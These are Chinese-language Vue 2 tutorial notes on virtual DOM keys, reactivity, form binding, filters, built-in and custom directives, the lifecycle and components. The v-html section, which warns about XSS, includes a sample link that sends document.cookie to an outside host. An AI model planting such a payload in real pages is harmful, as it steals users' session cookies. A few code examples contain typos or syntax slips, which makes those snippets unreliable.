我們將構建好的 DOM 結構添加到頁面 body 上面,如下:

let ulRoot = ul.render();
document.body.appendChild(ulRoot);

這樣,頁面 body 裏面就有真正的 DOM 結構,效果如下圖所示:

在這裏插入圖片描述

我們知道虛擬 DOM 的好處和虛擬 DOM 的實現後就要講講 key 的作用了。

貼一下上面實現地完整代碼

<script>
    /**
         * Element virdual-dom 對象定義
         * @param {String} tagName - dom 元素名稱
         * @param {Object} props - dom 屬性
         * @param {Array<Element|String>} - 子節點
         */
    function Element(tagName, props, children) {
        this.tagName = tagName;
        this.props = props;
        this.children = children;
        // dom 元素的 key 值,用作唯一標識符
        if (props.key) {
            this.key = props.key
        }
    }

    function el(tagName, props, children) {
        return new Element(tagName, props, children);
    }

    let ul = el('div', { id: 'Virtual DOM' }, [
        el('p', {}, ['Virtual DOM']),
        el('ul', { id: 'list' }, [
            el('li', { class: 'item' }, ['Item 1']),
            el('li', { class: 'item' }, ['Item 2']),
            el('li', { class: 'item' }, ['Item 3'])
        ]),
        el('div', {}, ['Hello, World'])
    ])

    /**
             * render 將virdual-dom 對象渲染爲實際 DOM 元素
             */
    Element.prototype.render = function () {
        // 創建節點
        let el = document.createElement(this.tagName);

        let props = this.props;
        // 設置節點的 DOM 屬性
        for (let propName in props) {
            let propValue = props[propName];
            el.setAttribute(propName, propValue)
        }

        let children = this.children || []
        for (let child of children) {
            let childEl = (child instanceof Element)
            ? child.render() // 如果子節點也是虛擬 DOM, 遞歸構建 DOM 節點
            : document.createTextNode(child) // 如果是文本,就構建文本節點

            el.appendChild(childEl);
        }

        return el;
    }

    let ulRoot = ul.render();
    document.body.appendChild(ulRoot);
    console.log(ul);
</script>

虛擬DOM中key的作用

key是虛擬DOM對象的標識,當數據發生變化時,Vue會根據【新數據】生成【新的虛擬DOM】, 隨後Vue進行【新虛擬DOM】與【舊虛擬DOM】的差異比較,比較規則如下:

  • 舊虛擬DOM中找到了與新虛擬DOM相同的key:
    • ①.若虛擬DOM中內容沒變, 直接使用之前的真實DOM!
    • ②.若虛擬DOM中內容變了, 則生成新的真實DOM,隨後替換掉頁面中之前的真實DOM。
  • 舊虛擬DOM中未找到與新虛擬DOM相同的key
    • 創建新的真實DOM,隨後渲染到到頁面。

好了,我們知道了最簡單的key的原理,如果要繼續研究下去就要涉及到vue的核心之一-Diff算法,後面會詳細介紹。

用index作爲key可能會引發的問題:

若對數據進行:逆序添加、逆序刪除等破壞順序操作:

會產生沒有必要的真實DOM更新 ==> 界面效果沒問題, 但效率低。

案例

<!-- 準備好一個容器-->
<div id="root">
    <!-- 遍歷數組 -->
    <h2>人員列表(遍歷數組)</h2>
    <button @click.once="add">添加一個老劉</button>
    <ul>
        <li v-for="(p,index) of persons" :key="index">
            {{p.name}}-{{p.age}}
            <input type="text">
        </li>
    </ul>
</div>

<script type="text/javascript">
	Vue.config.productionTip = false

	new Vue({
		el: '#root',
		data: {
			persons: [
				{ id: '001', name: '張三', age: 18 },
				{ id: '002', name: '李四', age: 19 },
				{ id: '003', name: '王五', age: 20 }
			]
		},
		methods: {
			add() {
				const p = { id: '004', name: '老劉', age: 40 }
				this.persons.unshift(p)
			}
		},
	});
</script>

解釋:

初始數據

persons: [
{ id: '001', name: '張三', age: 18 },
{ id: '002', name: '李四', age: 19 },
{ id: '003', name: '王五', age: 20 }
]

vue根據數據生成虛擬 DOM

初始虛擬 DOM

<li key='0'>張三-18<input type="text"></li>
<li key='1'>李四-19<input type="text"></li>
<li key='2'>王五-20<input type="text"></li>

將虛擬 DOM 轉爲 真實 DOM

在這裏插入圖片描述

this.persons.unshift({ id: '004', name: '老劉', age: 40 })

在 persons 數組最前面添加上 { id: '004', name: '老劉', age: 40 }

新數據:

persons: [

​ { id: '004', name: '老劉', age: 40 },

​ { id: '001', name: '張三', age: 18 },
​ { id: '002', name: '李四', age: 19 },
​ { id: '003', name: '王五', age: 20 }
]

vue根據數據生成虛擬 DOM

新虛擬 DOM

<li key='0'>老劉-30<input type="text"></li>
<li key='1'>張三-18<input type="text"></li>
<li key='3'>李四-19<input type="text"></li>
<li key='4'>王五-20<input type="text"></li>

將虛擬 DOM 轉爲 真實 DOM

在這裏插入圖片描述

因爲老劉被插到第一個,重刷了 key 的值,vue Diff 算法 根據 key 的值 判斷 虛擬DOM 全部發生了改變,然後全部重新生成新的 真實 DOM。實際上,張三,李四,王五並沒有發生更改,是可以直接複用之前的真實 DOM,而因爲 key 的錯亂,導致要全部重新生成,造成了性能的浪費。

來張尚硅谷的圖

在這裏插入圖片描述

如果結構中還包含輸入類的DOM:

會產生錯誤DOM更新 ==> 界面有問題。

這回造成的就不是性能浪費了,會直接導致頁面的錯誤

在這裏插入圖片描述

結論:

  • 最好使用每條數據的唯一標識作爲key, 比如id、手機號、身份證號、學號等唯一值
  • 如果不存在對數據的逆序添加、逆序刪除等破壞順序操作,僅用於渲染列表用於展示,使用index作爲key是沒有問題的

來張尚硅谷的圖,正經使用 key

在這裏插入圖片描述

1.14 vue 監測data 中的 數據

先來個案例引入一下:

<!-- 準備好一個容器-->
<div id="root">
    <h2>人員列表</h2>
    <button @click="updateMei">更新馬冬梅的信息</button>
    <ul>
        <li v-for="(p,index) of persons" :key="p.id">
            {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
    </ul> 
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    const vm = new Vue({
        el:'#root',
        data:{
            persons:[
                {id:'001',name:'馬冬梅',age:30,sex:'女'},
                {id:'002',name:'周冬雨',age:31,sex:'女'},
                {id:'003',name:'周杰倫',age:18,sex:'男'},
                {id:'004',name:'溫兆倫',age:19,sex:'男'}
            ]
        },
        methods: {
            updateMei(){
                // this.persons[0].name = '馬老師' //奏效
                // this.persons[0].age = 50 //奏效
                // this.persons[0].sex = '男' //奏效
                this.persons[0] = {id:'001',name:'馬老師',age:50,sex:'男'} //不奏效
                // this.persons.splice(0,1,{id:'001',name:'馬老師',age:50,sex:'男'})
            }
        }
    }) 

</script>

點擊更新馬冬梅的信息,馬冬梅的數據並沒有發生改變。

在這裏插入圖片描述

我們來看看控制檯:
在這裏插入圖片描述

控制檯上的數據發生了改變,說明,這個更改的數據並沒有被 vue 監測到。

所以我們來研究一下 Vue 監測的原理。

我們先研究 Vue 如何監測 對象裏的數據

代碼

<!-- 準備好一個容器-->
<div id="root">
    <h2>學校名稱:{{name}}</h2>
    <h2>學校地址:{{address}}</h2>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

    const vm = new Vue({
        el:'#root',
        data:{
            name:'浙江師範大學',
            address:'金華',
            student:{
                name:'tom',
                age:{
                    rAge:40,
                    sAge:29,
                },
                friends:[
                    {name:'jerry',age:35}
                ]
            }
        }
    })
</script>

在這裏插入圖片描述

講一下解析模板後面的操作---》調用 set 方法時,就會去解析模板----->生成新的虛擬 DOM----->新舊DOM 對比 -----> 更新頁面

模擬一下 vue 中的 數據監測

<script type="text/javascript" >

    let data = {
        name:'尚硅谷',
        address:'北京',
    }

    //創建一個監視的實例對象,用於監視data中屬性的變化
    const obs = new Observer(data)		
    console.log(obs)	

    //準備一個vm實例對象
    let vm = {}
    vm._data = data = obs

    function Observer(obj){
        //彙總對象中所有的屬性形成一個數組
        const keys = Object.keys(obj)
        //遍歷
        keys.forEach((k) => {
            Object.defineProperty(this, k, {
                get() {
                    return obj[k]
                },
                set(val) {
                    console.log(`${k}被改了,我要去解析模板,生成虛擬DOM.....我要開始忙了`)
                    obj[k] = val
                }
            })
        })
    }
</script>

在這裏插入圖片描述

Vue.set 的使用

Vue.set(target,propertyName/index,value) 或

vm.$set(target,propertyName/index,value)

用法

向響應式對象中添加一個 property,並確保這個新 property 同樣是響應式的,且觸發視圖更新。它必須用於向響應式對象上添加新 property,因爲 Vue 無法探測普通的新增 property (比如 vm.myObject.newProperty = 'hi')

代碼

<!-- 準備好一個容器-->
<div id="root">
    <h1>學生信息</h1>
    <button @click="addSex">添加性別屬性,默認值:男</button> <br/>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

    const vm = new Vue({
        el:'#root',
        data:{
            student:{
                name:'tom',
                age:18,
                hobby:['抽菸','喝酒','燙頭'],
                friends:[
                    {name:'jerry',age:35},
                    {name:'tony',age:36}
                ]
            }
        },
        methods: {
            addSex(){
                // Vue.set(this.student,'sex','男')
                this.$set(this.student,'sex','男')
            }
        }
    })
</script>

Vue.set() 或 vm.$set 有缺陷:

在這裏插入圖片描述

就是 vm 和 _data

看完了 vue 監測對象中的數據,再來看看 vue 如何監測 數組裏的數據

先寫個代碼案例

<!-- 準備好一個容器-->
<div id="root">
    <h2>愛好</h2>
    <ul>
        <li v-for="(h,index) in student.hobby" :key="index">
            {{h}}
        </li>
    </ul>
    <h2>朋友們</h2>
    <ul>
        <li v-for="(f,index) in student.friends" :key="index">
            {{f.name}}--{{f.age}}
        </li>
    </ul>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

    const vm = new Vue({
        el:'#root',
        data:
            student:{
                name:'tom',
                age:{
                    rAge:40,
                    sAge:29,
                },
                hobby:['抽菸','喝酒','燙頭'],
                friends:[
                    {name:'jerry',age:35},
                    {name:'tony',age:36}
                ]
            }
        },
        methods: {
            
        }
    })
</script>

在這裏插入圖片描述

所以我們通過 vm._data.student.hobby[0] = 'aaa' // 不奏效

vue 監測在數組那沒有 getter 和 setter,所以監測不到數據的更改,也不會引起頁面的更新

在這裏插入圖片描述

既然 vue 在對數組無法通過 getter 和 setter 進行數據監視,那 vue 到底如何監視數組數據的變化呢?

vue對數組的監測是通過 包裝數組上常用的用於修改數組的方法來實現的。

vue官網的解釋:

在這裏插入圖片描述

總結:

Vue監視數據的原理:

  • vue會監視data中所有層次的數據

  • 如何監測對象中的數據?

    通過setter實現監視,且要在new Vue時就傳入要監測的數據。

    • 對象中後追加的屬性,Vue默認不做響應式處理

    • 如需給後添加的屬性做響應式,請使用如下API:

      Vue.set(target,propertyName/index,value) 或

      vm.$set(target,propertyName/index,value)

  • 如何監測數組中的數據?

    通過包裹數組更新元素的方法實現,本質就是做了兩件事:

    • 調用原生對應的方法對數組進行更新
    • 重新解析模板,進而更新頁面
  • 在Vue修改數組中的某個元素一定要用如下方法:

    • 使用這些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
    • Vue.set() 或 vm.$set()

特別注意:Vue.set() 和 vm.$set() 不能給vm 或 vm的根數據對象 添加屬性!!!

1.15 收集表單數據

若:,則v-model收集的是value值,用戶輸入的就是value值。

<!-- 準備好一個容器-->
<div id="root">
    <form @submit.prevent="demo">
        賬號:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
        密碼:<input type="password" v-model="userInfo.password"> <br/><br/>
        年齡:<input type="number" v-model.number="userInfo.age"> <br/><br/>
        <button>提交</button>
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            userInfo:{
                account:'',
                password:'',
                age:18,
            }
        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>

若:,則v-model收集的是value值,且要給標籤配置value值。

<!-- 準備好一個容器-->
<div id="root">
    <form @submit.prevent="demo">
        性別:
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
        女<input type="radio" name="sex" v-model="userInfo.sex" value="female">
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            userInfo:{
                sex:'female'
            }
        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>

若:

  • 沒有配置input的value屬性,那麼收集的就是checked(勾選 or 未勾選,是布爾值)
  • 配置input的value屬性:
    • v-model的初始值是非數組,那麼收集的就是checked(勾選 or 未勾選,是布爾值)
    • v-model的初始值是數組,那麼收集的的就是value組成的數組
<!-- 準備好一個容器-->
<div id="root">
    <form @submit.prevent="demo">
        愛好:
        學習<input type="checkbox" v-model="userInfo.hobby" value="study">
        打遊戲<input type="checkbox" v-model="userInfo.hobby" value="game">
        喫飯<input type="checkbox" v-model="userInfo.hobby" value="eat">
        <br/><br/>
        所屬校區
        <select v-model="userInfo.city">
            <option value="">請選擇校區</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="wuhan">武漢</option>
        </select>
        <br/><br/>
        其他信息:
        <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
        <input type="checkbox" v-model="userInfo.agree">閱讀並接受<a href="http://www.atguigu.com">《用戶協議》</a>
        <button>提交</button>
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            userInfo:{
                hobby:[],
                city:'beijing',
                other:'',
                agree:''
            }
        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>

在這裏插入圖片描述

備註:v-model的三個修飾符:

lazy:失去焦點再收集數據

number:輸入字符串轉爲有效的數字

trim:輸入首尾空格過濾

1.16 過濾器(非重點)

定義:對要顯示的數據進行特定格式化後再顯示(適用於一些簡單邏輯的處理)。

語法:

  • 註冊過濾器:Vue.filter(name,callback) 或 new Vue{filters:
  • 使用過濾器:{{ xxx | 過濾器名}} 或 v-bind:屬性 = "xxx | 過濾器名"
<!-- 準備好一個容器-->
<div id="root">
    <h2>顯示格式化後的時間</h2>
    <!-- 計算屬性實現 -->
    <h3>現在是:{{ fmtTime }}</h3>
    <!-- methods實現 -->
    <h3>現在是:{{ getFmtTime() }}</h3>
    <!-- 過濾器實現 -->
    <h3>現在是:{{time | timeFormater}}</h3>
    <!-- 過濾器實現(傳參) -->
    <h3>現在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
    <h3 :x="msg | mySlice">尚硅谷</h3>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    //全局過濾器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })

    new Vue({
        el:'#root',
        data:{
            time:1621561377603, //時間戳
            msg:'你好,尚硅谷'
        },
        computed: {
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
            getFmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //局部過濾器
        filters:{
            timeFormater(value, str='YYYY年MM月DD日 HH:mm:ss'){
                // console.log('@',value)
                return dayjs(value).format(str)
            }
        }
    })
</script>

備註:

1.過濾器也可以接收額外參數、多個過濾器也可以串聯

2.並沒有改變原本的數據, 是產生新的對應的數據

1.17 內置指令

v-text指令:(使用的比較少)

1.作用:向其所在的節點中渲染文本內容。

2.與插值語法的區別:v-text會替換掉節點中的內容,{{xx}}則不會。

<!-- 準備好一個容器-->
<div id="root">
    <div>你好,{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

    new Vue({
        el:'#root',
        data:{
            name:'張三',
            str:'<h3>你好啊!</h3>'
        }
    })
</script>

v-html指令:(使用的很少)

1.作用:向指定節點中渲染包含html結構的內容。

2.與插值語法的區別:

  • v-html會替換掉節點中所有的內容,{{xx}}則不會。
  • v-html可以識別html結構。

3.嚴重注意:v-html有安全性問題!!!!

  • 在網站上動態渲染任意HTML是非常危險的,容易導致XSS攻擊。
  • 一定要在可信的內容上使用v-html,永不要用在用戶提交的內容上!
<!-- 準備好一個容器-->
<div id="root">
    <div>你好,{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

    new Vue({
        el:'#root',
        data:{
            name:'張三',
            str:'<h3>你好啊!</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的資源了,快來!</a>',
        }
    })
</script>

v-cloak指令(沒有值):

  • 本質是一個特殊屬性,Vue實例創建完畢並接管容器後,會刪掉v-cloak屬性。
  • 使用css配合v-cloak可以解決網速慢時頁面展示出{{xxx}}的問題。
<style>
    [v-cloak]{
        display:none;
    }
</style>
<!-- 準備好一個容器-->
<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>

<script type="text/javascript">
    console.log(1)
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷'
        }
    })
</script>

v-once指令:(用的少)

  • v-once所在節點在初次動態渲染後,就視爲靜態內容了。
  • 以後數據的改變不會引起v-once所在結構的更新,可以用於優化性能。
<!-- 準備好一個容器-->
<div id="root">
    <h2 v-once>初始化的n值是:{{ n }}</h2>
    <h2>當前的n值是:{{ n }}</h2>
    <button @click="n++">點我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

v-pre指令:(比較沒用)

  • 跳過其所在節點的編譯過程
  • 可利用它跳過:沒有使用指令語法、沒有使用插值語法的節點,會加快編譯
<!-- 準備好一個容器-->
<div id="root">
    <h2 v-pre>Vue其實很簡單</h2>
    <h2 >當前的n值是:{{n}}</h2>
    <button @click="n++">點我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

1.18 自定義指令

需求1:定義一個v-big指令,和v-text功能類似,但會把綁定的數值放大10倍。

需求2:定義一個v-fbind指令,和v-bind功能類似,但可以讓其所綁定的input元素默認獲取焦點。

語法:

局部指令:

directives: {
  focus: {
    // 指令的定義
    inserted: function (el) {
      el.focus()
    }
  }
}

全局指令:

<script>
    // 註冊一個全局自定義指令 `v-focus`
    Vue.directive('focus', {
        // 當被綁定的元素插入到 DOM 中時……
        inserted: function (el) {
            // 聚焦元素
            el.focus()
        }
    })
</script>

配置對象中常用的3個回調:

  • bind:指令與元素成功綁定時調用。
  • inserted:指令所在元素被插入頁面時調用。
  • update:指令所在模板結構被重新解析時調用。

理解這三個的調用時機,需要進一步瞭解 vue 的生命週期,下面會介紹。

定義全局指令

<!-- 準備好一個容器-->
<div id="root">
    <input type="text" v-fbind:value="n">
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    //定義全局指令
    Vue.directive('fbind', {
        // 指令與元素成功綁定時(一上來)
        bind(element, binding){
            element.value = binding.value
        },
        // 指令所在元素被插入頁面時
        inserted(element, binding){
            element.focus()
        },
        // 指令所在的模板被重新解析時
        update(element, binding){
            element.value = binding.value
        }
    })
    
    new Vue({
        el:'#root',
        data:{
            name: '尚硅谷',
            n: 1
        }
    })

</script>

局部指令:

new Vue({
    el: '#root',
    data: {
        name:'尚硅谷',
        n:1
    },
    directives: {
        // big函數何時會被調用?1.指令與元素成功綁定時(一上來)。2.指令所在的模板被重新解析時。
        /* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
        big (element,binding){
            console.log('big',this) //注意此處的this是window
            // console.log('big')
            element.innerText = binding.value * 10
        },
        fbind: {
            //指令與元素成功綁定時(一上來)
            bind (element,binding){
                element.value = binding.value
            },
            //指令所在元素被插入頁面時
            inserted (element,binding){
                element.focus()
            },
            //指令所在的模板被重新解析時
            update (element,binding){
                element.value = binding.value
            }
        }
    }
})

1.19 生命週期

簡介生命週期

Vue 實例有⼀個完整的⽣命週期,也就是從new Vue()、初始化事件(.once事件)和生命週期、編譯模版、掛載Dom -> 渲染、更新 -> 渲染、卸載 等⼀系列過程,稱這是Vue的⽣命週期。

先來一張尚硅谷的圖:

在這裏插入圖片描述

  1. beforeCreate(創建前):數據監測(getter和setter)和初始化事件還未開始,此時 data 的響應式追蹤、event/watcher 都還沒有被設置,也就是說不能訪問到data、computed、watch、methods上的方法和數據。
  2. created(創建後):實例創建完成,實例上配置的 options 包括 data、computed、watch、methods 等都配置完成,但是此時渲染得節點還未掛載到 DOM,所以不能訪問到 $el屬性。
  3. beforeMount(掛載前):在掛載開始之前被調用,相關的render函數首次被調用。此階段Vue開始解析模板,生成虛擬DOM存在內存中,還沒有把虛擬DOM轉換成真實DOM,插入頁面中。所以網頁不能顯示解析好的內容。
  4. mounted(掛載後):在el被新創建的 vm.$el(就是真實DOM的拷貝)替換,並掛載到實例上去之後調用(將內存中的虛擬DOM轉爲真實DOM,真實DOM插入頁面)。此時頁面中呈現的是經過Vue編譯的DOM,這時在這個鉤子函數中對DOM的操作可以有效,但要儘量避免。一般在這個階段進行:開啓定時器,發送網絡請求,訂閱消息,綁定自定義事件等等
  5. beforeUpdate(更新前):響應式數據更新時調用,此時雖然響應式數據更新了,但是對應的真實 DOM 還沒有被渲染(數據是新的,但頁面是舊的,頁面和數據沒保持同步呢)。
  6. updated(更新後) :在由於數據更改導致的虛擬DOM重新渲染和打補丁之後調用。此時 DOM 已經根據響應式數據的變化更新了。調用時,組件 DOM已經更新,所以可以執行依賴於DOM的操作。然而在大多數情況下,應該避免在此期間更改狀態,因爲這可能會導致更新無限循環。該鉤子在服務器端渲染期間不被調用。
  7. beforeDestroy(銷燬前):實例銷燬之前調用。這一步,實例仍然完全可用,this 仍能獲取到實例。在這個階段一般進行關閉定時器,取消訂閱消息,解綁自定義事件。
  8. destroyed(銷燬後):實例銷燬後調用,調用後,Vue 實例指示的所有東西都會解綁定,所有的事件監聽器會被移除,所有的子實例也會被銷燬。該鉤子在服務端渲染期間不被調用。

來講一下圖中間大框框的內容

在這裏插入圖片描述

先判斷有沒有 el 這個配置項,沒有就調用 vm.$mount(el),如果兩個都沒有就一直卡着,顯示的界面就是最原始的容器的界面。有 el 這個配置項,就進行判斷有沒有 template 這個配置項,沒有 template 就將 el 綁定的容器編譯爲 vue 模板,來個對比圖。

沒編譯前的:

在這裏插入圖片描述

編譯後:

在這裏插入圖片描述

這個 template 有啥用咧?

第一種情況,有 template:

如果 el 綁定的容器沒有任何內容,就一個空殼子,但在 Vue 實例中寫了 template,就會編譯解析這個 template 裏的內容,生成虛擬 DOM,最後將 虛擬 DOM 轉爲 真實 DOM 插入頁面(其實就可以理解爲 template 替代了 el 綁定的容器的內容)。

在這裏插入圖片描述

在這裏插入圖片描述

第二種情況,沒有 template:

沒有 template,就編譯解析 el 綁定的容器,生成虛擬 DOM,後面就順着生命週期執行下去。

1.20 非單文件組件

基本使用

Vue中使用組件的三大步驟:

  • 定義組件(創建組件)
  • 註冊組件
  • 使用組件(寫組件標籤)

定義組件

使用Vue.extend(options)創建,其中options和new Vue(options)時傳入的那個options幾乎一樣,但也有點區別;

區別如下:

  • el不要寫,爲什麼? ——— 最終所有的組件都要經過一個vm的管理,由vm中的el決定服務哪個容器。
  • data必須寫成函數,爲什麼? ———— 避免組件被複用時,數據存在引用關係。

講解一下面試小問題:data必須寫成函數:

這是 js 底層設計的原因:舉個例子

對象形式

let data = {
    a: 99,
    b: 100
}

let x = data;
let y = data;
// x 和 y 引用的都是同一個對象,修改 x 的值, y 的值也會改變
x.a = 66;
console.loh(x); // a:66 b:100
console.log(y); // a:66 b:100

函數形式

function data() {
    return {
        a: 99,
        b: 100
    }
}
let x = data();
let y = data();
console.log(x === y); // false
// 我的理解是函數每調用一次就創建一個新的對象返回給他們

備註:使用template可以配置組件結構。

創建一個組件案例:Vue.extend() 創建

<script type="text/javascript">
    Vue.config.productionTip = false

    //第一步:創建school組件
    const school = Vue.extend({
        template:`
				<div class="demo">
					<h2>學校名稱:{{schoolName}}</h2>
					<h2>學校地址:{{address}}</h2>
					<button @click="showName">點我提示學校名</button>	
    </div>
			`,
        // el:'#root', //組件定義時,一定不要寫el配置項,因爲最終所有的組件都要被一個vm管理,由vm決定服務於哪個容器。
        data(){
            return {
                schoolName:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })

    //第一步:創建student組件
    const student = Vue.extend({
        template:`
				<div>
					<h2>學生姓名:{{studentName}}</h2>
					<h2>學生年齡:{{age}}</h2>
    </div>
			`,
        data(){
            return {
                studentName:'張三',
                age:18
            }
        }
    })

    //第一步:創建hello組件
    const hello = Vue.extend({
        template:`
				<div>	
					<h2>你好啊!{{name}}</h2>
    </div>
			`,
        data(){
            return {
                name:'Tom'
            }
        }
    })
</script>

註冊組件

  • 局部註冊:靠new Vue的時候傳入components選項
  • 全局註冊:靠Vue.component('組件名',組件)

局部註冊

<script>
	//創建vm
    new Vue({
        el: '#root',
        data: {
            msg:'你好啊!'
        },
        //第二步:註冊組件(局部註冊)
        components: {
            school: school,
            student: student
            // ES6簡寫形式
            // school,
            // student
        }
    })
</script>

全局註冊

<script>
	//第二步:全局註冊組件
	Vue.component('hello', hello)
</script>

寫組件標籤

<!-- 準備好一個容器-->
<div id="root">
    <hello></hello>
    <hr>
    <h1>{{msg}}</h1>
    <hr>
    <!-- 第三步:編寫組件標籤 -->
    <school></school>
    <hr>
    <!-- 第三步:編寫組件標籤 -->
    <student></student>
</div>

幾個注意點:

關於組件名:

一個單詞組成:

  • 第一種寫法(首字母小寫):school
  • 第二種寫法(首字母大寫):School

多個單詞組成:

  • 第一種寫法(kebab-case命名):my-school
  • 第二種寫法(CamelCase命名):MySchool (需要Vue腳手架支持)

備註:

(1).組件名儘可能迴避HTML中已有的元素名稱,例如:h2、H2都不行。

(2).可以使用name配置項指定組件在開發者工具中呈現的名字。

關於組件標籤:

第一種寫法:

第二種寫法:

備註:不用使用腳手架時,會導致後續組件不能渲染。

一個簡寫方式:

const school = Vue.extend(options) 可簡寫爲:const school = options

組件的嵌套

比較簡單,直接展示代碼:

<!-- 準備好一個容器-->
<div id="root">

</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在啓動時生成生產提示。

    //定義student組件
    const student = Vue.extend({
        name:'student',
        template:`
				<div>
					<h2>學生姓名:{{name}}</h2>	
					<h2>學生年齡:{{age}}</h2>	
    </div>
			`,
        data(){
            return {
                name:'尚硅谷',
                age:18
            }
        }
    })

    //定義school組件
    const school = Vue.extend({
        name:'school',
        template:`
				<div>
					<h2>學校名稱:{{name}}</h2>	
					<h2>學校地址:{{address}}</h2>	
					<student></student>
    </div>
			`,
        data(){
            return {
                name:'尚硅谷',
                address:'北京'
            }
        },
        // 註冊組件(局部)
        components:{
            student
        }
    })

    //定義hello組件
    const hello = Vue.extend({
        template:`<h1>{{msg}}</h1>`,
        data(){
            return {
                msg:'歡迎來到尚硅谷學習!'
            }
        }
    })

    //定義app組件
    const app = Vue.extend({
        template:`
				<div>	
					<hello></hello>
					<school></school>
    </div>
			`,
        components:{
            school,
            hello
        }
    })

    //創建vm
    new Vue({
        template:'<app></app>',
        el:'#root',
        //註冊組件(局部)
        components:{app}
    })
</script>

VueComponent

  • school組件本質是一個名爲VueComponent的構造函數,且不是程序員定義的,是Vue.extend生成的。
  • 我們只需要寫,Vue解析時會幫我們創建school組件的實例對象,即Vue幫我們執行的:new VueComponent(options)。
  • 特別注意:每次調用Vue.extend,返回的都是一個全新的VueComponent!!!!(這個VueComponent可不是實例對象)
  • 關於this指向:
    • 組件配置中:data函數、methods中的函數、watch中的函數、computed中的函數 它們的this均是【VueComponent實例對象】。
    • new Vue(options)配置中:data函數、methods中的函數、watch中的函數、computed中的函數 它們的this均是【Vue實例對象】。
  • VueComponent的實例對象,以後簡稱vc(也可稱之爲:組件實例對象)。Vue的實例對象,以後簡稱vm。

Vue 在哪管理 VueComponent

在這裏插入圖片描述

一個重要的內置關係

  • 一個重要的內置關係:VueComponent.prototype.proto === Vue.prototype
  • 爲什麼要有這個關係:讓組件實例對象(vc)可以訪問到 Vue原型上的屬性、方法。

在這裏插入圖片描述

1.21 單文件組件

單文件組件就是將一個組件的代碼寫在 .vue 這種格式的文件中,webpack 會將 .vue 文件解析成 html,css,js這些形式。

來做個單文件組件的案例:

School.vue

<template>
	<div class="demo">
		<h2>學校名稱:{{name}}</h2>
		<h2>學校地址:{{address}}</h2>
		<button @click="showName">點我提示學校名</button>	
	</div>
</template>

<script>
	 export default {
		name:'School',
		data(){
			return {
				name:'尚硅谷',
				address:'北京昌平'
			}
		},
		methods: {
			showName(){
				alert(this.name)
			}
		},
	}
</script>

<style>
	.demo{
		background-color: orange;
	}
</style>

Student.vue

<template>
	<div>
		<h2>學生姓名:{{name}}</h2>
		<h2>學生年齡:{{age}}</h2>
	</div>
</template>

<script>
	 export default {
		name:'Student',
		data(){
			return {
				name:'張三',
				age:18
			}
		}
	}
</script>

App.vue

用來彙總所有的組件(大總管)

<template>
	<div>
		<School></School>
		<Student></Student>
	</div>
</template>

<script>
	//引入組件
	import School from './School.vue'
	import Student from './Student.vue'

	export default {
		name:'App',
		components:{
			School,
			Student
		}
	}
</script>

main.js

在這個文件裏面創建 vue 實例

import App from './App.vue'

new Vue({
	el:'#root',
	template:`<App></App>`,
	components:{App},
})

index.html

在這寫 vue 要綁定的容器

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>練習一下單文件組件的語法</title>
	</head>
	<body>
		<!-- 準備一個容器 -->
		<div id="root"></div>
        <script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="./main.js"></script>
	</body>
</html>

2. vue腳手架,自定義事件,插槽等複雜內容

2.1 腳手架

使用前置:

第一步(沒有安裝過的執行):全局安裝 @vue/cli

npm install -g @vue/cli

第二步:切換到要創建項目的目錄,然後使用命令創建項目

vue create xxxxx

第三步:啓動項目

npm run serve

腳手架文件結構

├── node_modules 
├── public
│   ├── favicon.ico: 頁籤圖標
│   └── index.html: 主頁面
├── src
│   ├── assets: 存放靜態資源
